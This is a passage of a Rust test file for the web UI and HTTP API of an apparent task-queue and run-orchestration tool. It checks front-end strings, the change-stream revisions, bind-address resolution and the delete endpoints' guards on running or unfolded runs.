8976 assert!(APP_JS.contains("round.verified_head"));
8977 assert!(APP_JS.contains("verified HEAD"));
8978 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8979 }
8980
8981 #[test]
8982 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8983 assert!(APP_JS.contains("blocked: { glyph:"));
8987 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8988
8989 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8993 assert!(
8994 APP_JS.contains(
8995 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8996 ),
8997 "the note line must name what a blocked task is waiting on, not just that it is blocked"
8998 );
8999 assert!(APP_JS.contains("if (status === \"blocked\") {"));
9003
9004 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
9008 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
9009 assert!(
9010 APP_JS.contains("location.hash = \"#/questions\";"),
9011 "a question node must jump to the Questions screen, not pretend to be a task"
9012 );
9013
9014 assert!(APP_JS.contains("Resolved questions"));
9017 assert!(APP_JS.contains("r.answersList.append("));
9018 assert!(APP_CSS.contains(".task-answers"));
9019 {
9020 let start = APP_JS
9021 .find("function updateTalkTaskRow")
9022 .expect("updateTalkTaskRow");
9023 let body = &APP_JS[start..start + 900];
9024 assert!(body.contains("task.runs[") || body.contains("runs[runs.length - 1]"));
9025 assert!(body.contains("setAttr(r.link, \"href\""));
9026 assert!(body.contains(
9027 "latest ? `#/runs/${latest}` : `#/queue/${encodeURIComponent(task.id)}`"
9028 ));
9029 assert!(
9030 !body.contains(": \"#/queue\""),
9031 "a task with no run must link to its own queue card, not the bare queue"
9032 );
9033 assert!(APP_CSS.contains(".talk-task-link"));
9034 }
9035 }
9036
9037 #[test]
9038 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
9039 assert!(
9044 APP_JS.contains(
9045 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
9046 ),
9047 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
9048 );
9049 assert!(
9050 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
9051 "regression: the task link must not go back to naming the bare Backlog route"
9052 );
9053
9054 assert!(
9057 APP_JS.contains(
9058 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
9059 ),
9060 "`#/queue/<id>` must parse into a route carrying that id"
9061 );
9062
9063 assert!(APP_JS.contains("state.queueFocus = route.id;"));
9067 assert!(APP_JS.contains("function consumeQueueFocus()"));
9068 assert!(APP_JS.contains("jumpToTask(id)"));
9069 }
9070
9071 #[test]
9072 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
9073 assert!(
9082 APP_JS.contains(
9083 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
9084 ),
9085 "the search-clearing branch must run before state.queueFocus is cleared, or the \
9086 recursive renderQueue() call has nothing left to jump to"
9087 );
9088 assert!(
9089 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
9090 "state.queueFocus must be cleared only once the jump has landed, so a card that \
9091 arrives later still gets it"
9092 );
9093 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
9094 assert!(APP_JS.contains("is not in the current Backlog."));
9095 assert!(APP_JS.contains("li.card[data-task-id=\""));
9096 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
9097 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
9098 assert!(APP_CSS.contains(".card-permalink"));
9099 assert!(APP_CSS.contains(".queue-focus-status"));
9100 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
9101 }
9102
9103 #[test]
9104 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
9105 assert!(
9113 APP_JS.contains(
9114 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
9115 ),
9116 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
9117 );
9118 }
9119
9120 #[test]
9121 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
9122 assert!(
9123 APP_JS.contains("round.verified_head !== round.head"),
9124 "a round that verified an earlier commit must be visibly distinct from one that \
9125 verified the head reviewers are looking at now"
9126 );
9127 assert!(
9128 APP_JS.contains("round.verified_at"),
9129 "when a check ran must be on the wire, not just which commit"
9130 );
9131 assert!(
9132 APP_JS.contains("resource_blocked"),
9133 "a command magi never got to run (shared build cache contention) must not render \
9134 the same as a command that ran and failed"
9135 );
9136 }
9137
9138 #[test]
9139 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
9140 assert!(
9148 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
9149 "every KPI tile built through statusTile() must route its click through \
9150 openRunsFiltered, the single place that sets the Runs filter"
9151 );
9152 for (label, status) in [
9153 ("Merged", "merged"),
9154 ("Ready", "ready"),
9155 ("Blocked", "blocked"),
9156 ("Stalled", "stalled"),
9157 ] {
9158 let call = format!("statusTile(\"{label}\", t.{status}, ");
9159 assert!(
9160 APP_JS.contains(&call),
9161 "expected the {label} KPI tile built via {call}..."
9162 );
9163 assert!(
9164 APP_JS.contains(&format!("status === \"{status}\"")),
9165 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
9166 compare a run against, not one invented only for the stats tile"
9167 );
9168 }
9169 assert!(
9170 APP_JS.contains("function openRunsFiltered(status)"),
9171 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
9172 );
9173 assert!(
9174 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
9175 "matchesFilter must gate on the exact status a KPI tile named"
9176 );
9177 assert!(
9185 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
9186 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
9187 hashchange event that may never fire"
9188 );
9189 }
9190
9191 #[test]
9192 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
9193 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
9199 assert!(
9200 APP_JS.contains(
9201 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
9202 ),
9203 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
9204 guard for an incompatible tree section"
9205 );
9206 }
9207
9208 #[test]
9209 fn every_stats_queue_tile_names_a_real_queue_section() {
9210 assert!(
9216 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
9217 "every queue tile built through sectionTile() must route its click through \
9218 openQueueSectionFocus"
9219 );
9220 for key in ["upnext", "running", "done", "held", "blocked"] {
9221 assert!(
9222 APP_JS.contains(&format!("{{ key: \"{key}\",")),
9223 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
9224 );
9225 }
9226 for line in [
9230 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
9231 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
9232 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
9233 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
9234 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
9235 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
9236 ] {
9237 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
9238 }
9239 }
9240
9241 #[test]
9242 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
9243 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
9250 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
9251 assert!(APP_JS.contains("function revealQueueSection(details)"));
9252 assert!(
9253 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
9254 "renderQueue() must consume both focus channels on every pass"
9255 );
9256 assert!(
9257 APP_JS.contains(
9258 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
9259 ),
9260 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
9261 the recursive renderQueue() call has nothing left to reveal"
9262 );
9263 assert!(
9264 APP_JS.contains(
9265 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
9266 ),
9267 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
9268 );
9269 assert!(
9277 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
9278 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
9279 hashchange event that may never fire"
9280 );
9281 }
9282
9283 #[tokio::test]
9284 async fn the_change_stream_announces_the_current_revisions_on_connect() {
9285 let f = Fixture::start().await;
9286
9287 let mut socket = tokio::net::TcpStream::connect(f.addr)
9288 .await
9289 .expect("connect");
9290 socket
9291 .write_all(
9292 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
9293 )
9294 .await
9295 .expect("write request");
9296
9297 let mut seen = String::new();
9300 let mut buf = [0u8; 1024];
9301 while !seen.contains("event: change") {
9302 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
9303 .await
9304 .expect("the stream must speak within five seconds")
9305 .expect("read");
9306 assert!(read > 0, "the server closed the change stream: {seen}");
9307 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
9308 }
9309
9310 assert!(
9311 seen.to_lowercase()
9312 .contains("content-type: text/event-stream"),
9313 "the browser only reconnects automatically for a real SSE stream: {seen}"
9314 );
9315 let data = seen
9316 .lines()
9317 .find_map(|l| l.strip_prefix("data:"))
9318 .expect("a data line");
9319 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
9320 assert!(
9321 payload["queue_rev"].is_u64()
9322 && payload["runs_rev"].is_u64()
9323 && payload["questions_rev"].is_u64()
9324 && payload["talks_rev"].is_u64()
9325 && payload["notifications_rev"].is_u64()
9326 && payload["loop_rev"].is_u64(),
9327 "the client needs one revision per store to know what to refetch, \
9328 and `talks_rev` is the only notification a standing talk gets - a \
9329 phone whose radio slept through a turn learns about it here, as \
9330 does one whose operator started the loop from another device: \
9331 {payload}"
9332 );
9333
9334 let health = f.get("/api/health").await.json();
9341 for key in [
9342 "queue_rev",
9343 "runs_rev",
9344 "questions_rev",
9345 "talks_rev",
9346 "notifications_rev",
9347 "loop_rev",
9348 ] {
9349 assert!(
9350 health[key].is_u64(),
9351 "health is the change stream's fallback and is missing `{key}`: {health}"
9352 );
9353 }
9354 }
9355
9356 #[tokio::test]
9357 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
9358 let f = Fixture::start().await;
9359 let before = f.get("/api/health").await.json()["talks_rev"]
9360 .as_u64()
9361 .expect("talks_rev");
9362
9363 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
9364 std::thread::sleep(Duration::from_millis(10));
9365 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
9366 on_disk.turns.push(crate::talk::Turn {
9367 who: crate::talk::Who::Operator,
9368 body: "a new turn".to_owned(),
9369 at: Timestamp::now(),
9370 attachments: Vec::new(),
9371 });
9372 f.talks().put(&mut on_disk).expect("record a turn");
9373
9374 let after = f.get("/api/health").await.json()["talks_rev"]
9375 .as_u64()
9376 .expect("talks_rev");
9377 assert_ne!(
9378 before, after,
9379 "a phone must be able to notice a talk's reply without polling every store"
9380 );
9381 }
9382
9383 #[test]
9384 fn bind_reads_back_from_the_spelling_the_cli_prints() {
9385 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
9389 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
9390 }
9391 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
9392 assert!("everywhere".parse::<Bind>().is_err());
9393 }
9394
9395 #[test]
9396 fn an_explicit_bind_address_is_taken_verbatim() {
9397 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
9398
9399 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
9400
9401 assert_eq!(addr, asked);
9402 assert!(
9403 warning.is_none(),
9404 "an operator who named an address gets no lecture"
9405 );
9406 }
9407
9408 #[test]
9409 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
9410 let (addr, warning) = resolve_bind(&Bind::Auto);
9411
9412 match addr {
9419 IpAddr::V4(ip) if is_tailnet(&ip) => {
9420 assert!(warning.is_none(), "a tailnet address needs no warning");
9421 }
9422 other => {
9423 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
9424 let warning = warning.expect("a fallback has to explain itself");
9425 assert!(
9426 warning.contains("127.0.0.1") && warning.contains("local-only"),
9427 "the warning says what happened and what it costs: {warning}"
9428 );
9429 }
9430 }
9431 }
9432
9433 #[test]
9434 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
9435 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
9439 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
9440 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
9441 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
9442 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
9443 }
9444
9445 #[test]
9446 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
9447 let ids = vec![
9448 "20260902-140501-aaaa".to_owned(),
9449 "20260902-140502-aabb".to_owned(),
9450 ];
9451
9452 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
9453 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
9454 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
9455
9456 assert_eq!(missing.status, StatusCode::NOT_FOUND);
9457 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
9458 assert_eq!(short, "20260902-140502-aabb");
9459 }
9460 #[tokio::test]
9461 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
9462 let fx = Fixture::start().await;
9468 let id = panel(
9469 &fx,
9470 "<img src=\"shot.png\">",
9471 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
9472 );
9473
9474 let doc = fx
9476 .get(&format!("/api/questions/{id}/panel/index.html"))
9477 .await;
9478 assert_eq!(doc.status, 200, "{}", doc.body);
9479 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
9480
9481 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
9482 assert_eq!(sibling.status, 200, "{}", sibling.body);
9483 assert_eq!(sibling.header("content-type"), Some("image/png"));
9484 assert_eq!(
9485 sibling.header("content-security-policy"),
9486 Some(PANEL_CSP),
9487 "the sibling route must carry the same policy as the asset route"
9488 );
9489
9490 assert_eq!(
9493 fx.head(&format!("/api/questions/{id}/panel")).await.status,
9494 200
9495 );
9496 }
9497
9498 #[test]
9499 fn runs_revision_moves_when_deleting_an_older_run() {
9500 let temp = TempDir::new().expect("tempdir");
9501 let runs = temp.path().join("runs");
9502 std::fs::create_dir_all(&runs).expect("create runs dir");
9503
9504 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
9505
9506 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
9507 std::thread::sleep(Duration::from_millis(10));
9508 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
9509
9510 let rev_before = runs_revision(&runs);
9511 assert!(rev_before > 0);
9512
9513 let old_dir = runs.join("20260901-100000-old1");
9514 std::fs::remove_dir_all(&old_dir).expect("remove old run");
9515
9516 let rev_after = runs_revision(&runs);
9517 assert_ne!(
9518 rev_before, rev_after,
9519 "deleting an older run must change the revision so other clients see the deletion"
9520 );
9521 }
9522
9523 fn write_state(runs: &FsPath, state: &RunState) {
9528 let dir = runs.join(&state.id);
9529 std::fs::create_dir_all(&dir).expect("run dir");
9530 std::fs::write(
9531 dir.join("run.json"),
9532 serde_json::to_string_pretty(state).expect("serialize run"),
9533 )
9534 .expect("write run.json");
9535 }
9536
9537 #[test]
9542 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
9543 let temp = TempDir::new().expect("tempdir");
9544 let runs = temp.path().join("runs");
9545 std::fs::create_dir_all(&runs).expect("create runs dir");
9546 let mut state = RunState::new(
9547 PathBuf::from("/repo/magi"),
9548 "main".to_owned(),
9549 "0123456789abcdef".to_owned(),
9550 "task".to_owned(),
9551 Config::default(),
9552 );
9553 state.id = "20260902-100000-c0de".to_owned();
9554 write_state(&runs, &state);
9555
9556 let rev_idle = runs_revision(&runs);
9557 std::thread::sleep(Duration::from_millis(10));
9558 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
9559 write_state(&runs, &state);
9560 let rev_started = runs_revision(&runs);
9561 assert_ne!(
9562 rev_idle, rev_started,
9563 "a seat starting must move the revision"
9564 );
9565
9566 std::thread::sleep(Duration::from_millis(10));
9567 state.seat_finished("judge-1");
9568 write_state(&runs, &state);
9569 let rev_finished = runs_revision(&runs);
9570 assert_ne!(
9571 rev_started, rev_finished,
9572 "and clearing it again must move the revision a second time"
9573 );
9574 }
9575
9576 #[tokio::test]
9577 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
9578 let fx = Fixture::start().await;
9583 let q = fx.queue();
9584
9585 let mut t = Task::new(
9586 "Task".to_owned(),
9587 "Instruction".to_owned(),
9588 PathBuf::from("/repo"),
9589 Source::Human,
9590 );
9591 t.block(
9592 vec!["20260101-000000-dead".to_owned()],
9593 Some("waiting on Task 1".to_owned()),
9594 );
9595 t.answers.push(crate::queue::AnsweredQuestion {
9596 question: "Which backend?".to_owned(),
9597 answer: "SQLite".to_owned(),
9598 });
9599 q.put(&mut t).expect("put t");
9600
9601 let res = fx.get("/api/queue").await;
9602 assert_eq!(res.status, 200);
9603 let list = res.json();
9604 let view = list
9605 .as_array()
9606 .expect("array")
9607 .iter()
9608 .find(|v| v["id"] == t.id)
9609 .expect("task in list");
9610 assert_eq!(view["status_str"], "blocked");
9611 assert_eq!(
9612 view["blocked_by"],
9613 serde_json::json!(["20260101-000000-dead"])
9614 );
9615 assert_eq!(view["block_reason"], "waiting on Task 1");
9616 assert_eq!(view["answers"][0]["question"], "Which backend?");
9617 assert_eq!(view["answers"][0]["answer"], "SQLite");
9618
9619 let res = fx
9623 .post(&format!("/api/queue/{}/hold", t.short()), None)
9624 .await;
9625 assert_eq!(res.status, 200);
9626 let held = res.json();
9627 assert_eq!(held["status_str"], "held");
9628 assert_eq!(held["blocked_by"], serde_json::json!([]));
9629 assert!(held["block_reason"].is_null());
9630 assert_eq!(held["answers"][0]["answer"], "SQLite");
9631 }
9632
9633 #[tokio::test]
9634 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
9635 let fx = Fixture::start().await;
9636 let q = fx.queue();
9637 let mk = |title: &str| {
9638 Task::new(
9639 title.to_owned(),
9640 "Instruction".to_owned(),
9641 PathBuf::from("/repo"),
9642 Source::Human,
9643 )
9644 };
9645 let mut root = mk("root");
9646 root.hold_manual(Some("waiting".to_owned()));
9647 q.put(&mut root).unwrap();
9648 let mut mid = mk("mid");
9649 mid.block(vec![root.id.clone()], None);
9650 q.put(&mut mid).unwrap();
9651 let mut leaf = mk("leaf");
9652 leaf.block(vec![mid.id.clone()], None);
9653 q.put(&mut leaf).unwrap();
9654
9655 let list = fx.get("/api/queue").await.json();
9656 let find = |id: &str| {
9657 list.as_array()
9658 .unwrap()
9659 .iter()
9660 .find(|v| v["id"] == id)
9661 .unwrap()
9662 .clone()
9663 };
9664 let leaf_view = find(&leaf.id);
9665 assert_eq!(
9666 leaf_view["waits_on"],
9667 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
9668 );
9669 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
9670 assert_eq!(
9671 find(&mid.id)["waits_on"],
9672 serde_json::json!([format!("{} (held)", root.short())])
9673 );
9674 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
9675 }
9676
9677 #[tokio::test]
9678 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
9679 let fx = Fixture::start().await;
9680 let q = fx.queue();
9681
9682 let mut t1 = Task::new(
9684 "Task 1".to_owned(),
9685 "Instruction 1".to_owned(),
9686 PathBuf::from("/repo"),
9687 Source::Human,
9688 );
9689 let run_id = "20260901-000000-r111";
9690 t1.runs.push(run_id.to_owned());
9691 write_run(&fx.runs(), run_id, RunStatus::Merged);
9692 q.put(&mut t1).expect("put t1");
9693
9694 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
9696 assert_eq!(res.status, 204);
9697 assert!(res.body.is_empty(), "204 No Content has no body");
9698 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
9699 assert!(
9700 fx.runs().join(run_id).exists(),
9701 "run directory must not be deleted when its task is deleted"
9702 );
9703
9704 let mut t2 = Task::new(
9706 "Task 2".to_owned(),
9707 "Instruction 2".to_owned(),
9708 PathBuf::from("/repo"),
9709 Source::Human,
9710 );
9711 t2.status = TaskStatus::Running;
9712 q.put(&mut t2).expect("put t2");
9713 let mut beat = crate::daemon::Status::new();
9714 beat.current = vec![crate::daemon::Current {
9715 task: t2.id.clone(),
9716 run: "20260901-000000-r222".to_owned(),
9717 }];
9718 beat.updated_at = jiff::Timestamp::now();
9719 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9720 .expect("publish a heartbeat");
9721 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
9722 assert_eq!(res.status, 409);
9723 assert!(
9724 res.json()["error"]
9725 .as_str()
9726 .unwrap()
9727 .contains("live daemon")
9728 );
9729 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
9730
9731 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
9737 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9738 .expect("leave a stale heartbeat");
9739 let mut t3 = Task::new(
9740 "Task 3".to_owned(),
9741 "Instruction 3".to_owned(),
9742 PathBuf::from("/repo"),
9743 Source::Human,
9744 );
9745 t3.status = TaskStatus::Running;
9746 q.put(&mut t3).expect("put t3");
9747 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
9748 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
9749 assert_eq!(res.status, 204);
9750 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
9751 assert!(
9752 q.claim(&t3.id).is_ok(),
9753 "the stale lock went with it, so the id is claimable again"
9754 );
9755
9756 let res = fx.delete("/api/queue/nonexistent").await;
9758 assert_eq!(res.status, 404);
9759 }
9760
9761 #[tokio::test]
9762 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
9763 let fx = Fixture::start().await;
9764 let runs = fx.runs();
9765
9766 let run_id = "20260901-000000-fold";
9768 let mut state = RunState::new(
9769 PathBuf::from("/repo"),
9770 "main".to_owned(),
9771 "abc".to_owned(),
9772 "instruction".to_owned(),
9773 Config::default(),
9774 );
9775 state.id = run_id.to_owned();
9776 state.status = RunStatus::Merged;
9777 state.candidates.push(crate::run::Candidate {
9778 index: 0,
9779 label: 'A',
9780 agent: "a".to_owned(),
9781 branch: "b".to_owned(),
9782 worktree: PathBuf::from("/w"),
9783 summary: String::new(),
9784 stat: String::new(),
9785 files: 1,
9786 commits: 1,
9787 empty: false,
9788 failed: None,
9789 verified_noop: None,
9790 duration_ms: 0,
9791 folded: true,
9792 });
9793 let dir = runs.join(run_id);
9794 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
9795 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
9796 .expect("write artifact");
9797 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
9798 .expect("write run.json");
9799
9800 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
9802 assert_eq!(res.status, 204);
9803 assert!(res.body.is_empty(), "204 has no body");
9804 assert!(!dir.exists(), "run directory and artifacts must be deleted");
9805
9806 let run_running = "20260901-000000-rung";
9811 write_run(&runs, run_running, RunStatus::Prep);
9812 let mut beat = crate::daemon::Status::new();
9813 beat.current = vec![crate::daemon::Current {
9814 task: "20260901-000000-task".to_owned(),
9815 run: run_running.to_owned(),
9816 }];
9817 beat.updated_at = jiff::Timestamp::now();
9818 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9819 .expect("publish a heartbeat");
9820 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
9821 assert_eq!(res.status, 409);
9822 assert!(
9823 res.json()["error"]
9824 .as_str()
9825 .unwrap()
9826 .contains("live daemon"),
9827 "the refusal must say who is holding it"
9828 );
9829 assert!(
9830 runs.join(run_running).exists(),
9831 "a run in flight keeps its directory"
9832 );
9833
9834 let run_unfolded = "20260901-000000-unfd";
9836 let mut state2 = RunState::new(
9837 PathBuf::from("/repo"),
9838 "main".to_owned(),
9839 "abc".to_owned(),
9840 "instruction".to_owned(),
9841 Config::default(),
9842 );
9843 state2.id = run_unfolded.to_owned();
9844 state2.status = RunStatus::Ready;
9845 state2.candidates.push(crate::run::Candidate {
9846 index: 0,
9847 label: 'A',
9848 agent: "a".to_owned(),
9849 branch: "b".to_owned(),
9850 worktree: PathBuf::from("/w"),
9851 summary: String::new(),
9852 stat: String::new(),
9853 files: 1,
9854 commits: 1,
9855 empty: false,
9856 failed: None,
9857 verified_noop: None,
9858 duration_ms: 0,
9859 folded: false,
9860 });
9861 let dir2 = runs.join(run_unfolded);
9862 std::fs::create_dir_all(&dir2).expect("create dir2");
9863 std::fs::write(
9864 dir2.join("run.json"),
9865 serde_json::to_string(&state2).unwrap(),
9866 )
9867 .expect("write run.json");
9868
9869 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
9870 assert_eq!(res.status, 409);
9871 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
9872 assert!(dir2.exists(), "unfolded run directory is kept");
9873
9874 let res = fx.delete("/api/runs/nonexistent").await;
9876 assert_eq!(res.status, 404);
9877 }
9878
9879 #[test]
9888 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
9889 let start = APP_JS
9890 .find("function renderStats() {")
9891 .expect("renderStats");
9892 let end = start
9893 + APP_JS[start..]
9894 .find("function statsTile(")
9895 .expect("the next top-level function");
9896 let body = &APP_JS[start..end];
9897
9898 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
9899 let gate_end = gate_start
9900 + body[gate_start..]
9901 .find("}\n renderStatsQueue")
9902 .expect("the gate's own closing brace, right before the unconditional call");
9903 let gated = &body[gate_start..gate_end];
9904
9905 assert_eq!(
9906 body.matches("renderStatsQueue(").count(),
9907 1,
9908 "renderStats must call renderStatsQueue exactly once: {body}"
9909 );
9910 assert!(
9911 !gated.contains("renderStatsQueue"),
9912 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
9913 run-derived panels on an empty run history - the queue panel has to render \
9914 regardless: {gated}"
9915 );
9916 }
9917
9918 #[test]
9919 fn web_ui_delete_contract_in_front_end() {
9920 assert!(APP_JS.contains("deleteRun:"));
9922 assert!(APP_JS.contains("deleteTask:"));
9923
9924 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
9926 ..APP_JS.find("function renderRuns").unwrap()];
9927 assert!(!run_cards_slice.to_lowercase().contains("delete"));
9928
9929 assert!(APP_JS.contains("renderRunDelete"));
9931 assert!(APP_JS.contains("runDeleteReason"));
9932 assert!(APP_JS.contains("magi fold"));
9933 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
9934
9935 assert!(APP_JS.contains("cancel.focus"));
9937 assert!(APP_JS.contains("armedRunDelete"));
9938 assert!(APP_JS.contains("armedDelete"));
9939
9940 assert!(APP_JS.contains("disabled: status === \"running\""));
9942 }
9943
9944 #[test]
9964 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9965 let build = APP_JS
9966 .find("function createRunCard")
9967 .expect("createRunCard exists");
9968 let update = APP_JS
9969 .find("function updateRunCard")
9970 .expect("updateRunCard exists");
9971 let end = APP_JS
9972 .find("function renderRuns")
9973 .expect("renderRuns exists");
9974
9975 let builder = &APP_JS[build..update];
9977 let open = builder.find("refs = {").expect("createRunCard sets refs");
9978 let literal = &builder[open + "refs = {".len()..];
9979 let close = literal.find('}').expect("the refs literal is closed");
9980 let published: HashSet<&str> = literal[..close]
9981 .split(',')
9982 .filter_map(|entry| entry.split(':').next())
9984 .map(str::trim)
9985 .filter(|name| !name.is_empty())
9986 .collect();
9987 assert!(
9988 published.len() > 5,
9989 "the refs literal did not parse into names: {published:?}"
9990 );
9991
9992 let mut used: Vec<&str> = Vec::new();
9995 let updaters = &APP_JS[update..end];
9996 for (at, _) in updaters.match_indices("r.") {
9997 let before = updaters[..at].chars().next_back();
10000 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
10001 continue;
10002 }
10003 let rest = &updaters[at + 2..];
10004 let len = rest
10005 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
10006 .unwrap_or(rest.len());
10007 if len > 0 {
10008 used.push(&rest[..len]);
10009 }
10010 }
10011 assert!(
10012 used.len() > 5,
10013 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
10014 );
10015
10016 let missing: Vec<&str> = used
10017 .iter()
10018 .copied()
10019 .filter(|name| !published.contains(name))
10020 .collect();
10021 assert!(
10022 missing.is_empty(),
